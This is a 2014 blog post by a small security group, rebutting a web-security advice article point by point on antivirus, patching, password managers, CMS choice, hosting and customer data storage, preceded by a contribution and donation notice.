2. Feel free to contribute to projects 1-4, or come up with a project 5 and let us know more about it. Don't know how to google hack/google dork or anything of that nature? reach out to us. We're more than willing to share knowledge. E-mail wearetheartillery@gmail.com with any information you care to provide, or questions you have and we will properly credit you with this information (if you so desire). Feel free to collaborate with us as you desire!
3. Resources. We need money for hosts on various VPSes for scanning the internet. Hosting websites, domains, SSL certs, etc. If you want to support us via financial means we will gladly accept any resources you are willing to offer to our little organization. We aren't begging for money and we aren't making donations mandatory. I guess you could call it a tip jar? Leave something if you so desire. We'll be setting up paypal and/or various *coin wallets to accept donations.
WeAreTheArtillery and we're here to get shit done. Welcome.
Sunday, August 17, 2014
Doing Web Security the Right Way (Undoing/Unfucking FUD)
Recent came across this interesting little message Via Twitter, just moments ago today:
This message links to this article. You'll notice my first mistake was in retweeting this without even looking at it. Here I was trying to be helpful and... gah. never mind. let me redress some of the points the author made:
Additionally the author makes no effort to differentiate between scanning the client workstation versus scanning the attacked web server.
In addition to 0-days are "forever day" vulnerabilities; related to the "It's not a bug; it's a feature" crowd. Essentially these are vulnerabilities in Software that will never be patched for whatever reason. Patches are a very big part of software security. Update your webserver, software packages, Workstation and software packages regularly, as soon as new updates are made available, but ensure you know that patching is not the be-all end-all of security.
...and countless ways for you to counter attackNo. Just no. Hackback is REALLY grey area. There are entire books dedicated to attacking attackers and a lot of legislation is still very unclear surrounding this. Unless you are a professional, known the difference between "Venom and Poison" and are willing to accept the risks... Don't go after would-be hackers. Contact professionals. Like us. People (person) who retweets things randomly.
Begin by running a full local anti-virus/malware scan. If possible, identify the machine which was hacked.Countless articles and organizations are starting to say what information security professionals have known for years "The Era of A/V is drawing to a close; AV is dead." What does this term mean to you? Doing an Antivirus scan to identify the machine that was hacked is no longer enough these days; see services like Virustotal. VT takes a file or a file's cryptological hash and compares it with a variety of Antivirus applications. Sometimes the malware is detected, other times it isn't. Most of the time you're lucky maybe half of all antivirus software VT tests against will detect malware. (Disclaimer: If something isn't detected on VirusTotal it is not a be-all-end-all, but it's usually not a good sign.). The point is: A/V scanning is good place to start, but alone is no longer enough.
Additionally the author makes no effort to differentiate between scanning the client workstation versus scanning the attacked web server.
Change your passwords at least once a month. It is also vital to conjure up complex passwords which make use of upper and lower case, symbols and numbers.Okay, fair enough. Regularly changing account passwords for management consoles *is* a fairly decent idea. Complex passwords will make brute force attacks against admin consoles or SSH access that much more of an impossibility.
Never keep a document on your computer which is labelled, or contains the words ‘password’ or ‘username’. This is the easiest way for hackers to access all of your accounts and cause havoc. If you struggle to remember passwords, make use of an app like 1Password.Questionable at best. 1Password and/or Keepass require you to store a database on your filesystem locally. Likely any would-be attack would notice a file with a .kdbx extension or whatever the hell extension lastpass uses fairly easily. The better solution would be to ensure that if you use a password management suite (which you really REALLY should) like Keepass , Lastpass or 1Password , that you should take reasonable measures to protect your files. (Password protect your Windows/Linux/Mac user account, Encrypt the drive holding this data, restrict file permissions for your password database file, etc.) That way the point above is entirely moot. Proper access control to your password management tools trumps obscurity anyday.
Do regular updates to ensure that you have the latest version of your operating system available. This way your software can detect and disable most of the latest hacks.Patching your systems (Your local workstation and, if possible your VPS/hosting server) is a regular part of system maintenance. If you aren't setting an update schedule for your web server and/or your workstation, you're doing it completely wrong. Be aware that patching is only one part of security; that 0-days, or vulnerabilities to software or an operating system that are unknown to software vendors are a very real thing that no amount of patching will save you from.
In addition to 0-days are "forever day" vulnerabilities; related to the "It's not a bug; it's a feature" crowd. Essentially these are vulnerabilities in Software that will never be patched for whatever reason. Patches are a very big part of software security. Update your webserver, software packages, Workstation and software packages regularly, as soon as new updates are made available, but ensure you know that patching is not the be-all end-all of security.
Consider using source as opposed to open source CMS. However, if you are using open source CMS, make sure that you always have the latest version installed, ensuring that all your plugins are up to date.Absolute FUD plain and simple. Closed-Source and/or Open CMS systems are almost as likely to be hacked if poor security controls are maintained. Proper web server security, .htaccess, encryption, user account management, are all things that can I can take forever to explain, and In fact am working on writing documentation on doing the right way. Know that for now however this is absolute FUD. Use a CMS that works for you. If it happens to be open-source, all the better.
Avoid investing in low budget hosting plans, as the more costly plans also tend to have all the latest updates in terms of potential threats.Good gods. This is just folklore at this point. The only differences between low-cost and higher cost hosting plans are usually bandwidth and system resources. Choosing a lower cost hosting solution has no, real tangible impact on the likelihood of your site getting hacked. This statement is bullshit through and through. Again, choose a solution that fits for your organization and budget.
Do not keep client lists on the server; rather access them remotely when you need to. Otherwise your clients may receive spam from the hacker in question.In most cases you really won't have a choice in the matter for this; Customer PII will need to be kept in a database that is used by a web application that is hosted on a web server. It's a fact of life. What you CAN do to make it harder for would-be hackers would be to HASH and SALT passwords, and MINIMIZE storage of personal information. Know the law. If you store Credit Card data or other PII that you need to have reasonable measures in place to protect and you may be subject to PCI and other regulatory compliance. Long story short: Storage of customer data on servers is an inevitability. Good security practices will make it less painful. We will discuss some of these practices in the future. Moral of the story: Don't blindly retweet shit.
Subscribe to:
Posts (Atom)